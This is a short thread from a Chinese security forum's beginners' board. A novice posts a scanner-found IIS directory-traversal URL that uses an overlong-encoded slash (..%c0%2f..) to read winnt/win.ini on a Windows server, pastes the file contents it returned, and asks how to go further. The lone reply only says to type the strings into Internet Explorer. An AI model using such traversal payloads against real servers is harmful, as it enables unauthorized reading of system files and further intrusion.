20CN网络安全小组论坛 - 菜鸟乐园 - 郁闷，请高手们指教，多谢！！！！！！！

论坛: 菜鸟乐园标题: 郁闷，请高手们指教，多谢！！！！！！！

作者: fu414 [fu414]

论坛用户

我菜菜菜，用扫描器扫到这样的漏洞，还请高手指教，谢谢
/a.asp/..%c0%2f../..%c0%2f../winnt/win.ini
打开页面是这样的：
; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMC=1 CMCDLLNAME=mapi.dll CMCDLLNAME32=mapi32.dll MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] asf=MPEGVideo asx=MPEGVideo ivf=MPEGVideo m3u=MPEGVideo mp2v=MPEGVideo mp3=MPEGVideo mpv2=MPEGVideo wax=MPEGVideo wm=MPEGVideo wma=MPEGVideo wmv=MPEGVideo wvx=MPEGVideo [OLFax Ports] OLFModem=C:\Program Files\Microsoft Office\Office\2052\WFXMSRVR.EXE,WFXMSRVR,WFXOUTLOOKSMTPPOP3, 60 [OLFax] Cover Path=C:\PROGRA~1\MICROS~3\Office\cover\2052\ Fax Path=C:\PROGRA~1\MICROS~3\Office\data\ ExePath=C:\PROGRA~1\MICROS~3\Office\2052\ [WinZip] Note-1=This section is required only to install the optional WinZip Internet Browser Support build 0231. Note-2=Removing this section of the win.ini will have no effect except preventing installation of WinZip Internet Browser Support build 0231. win32_version=6.3-8.0

地主发表时间: 06/18 02:25

回复: shavb [shavb]

论坛用户

在IE里输这些

B1层发表时间: 06/18 04:12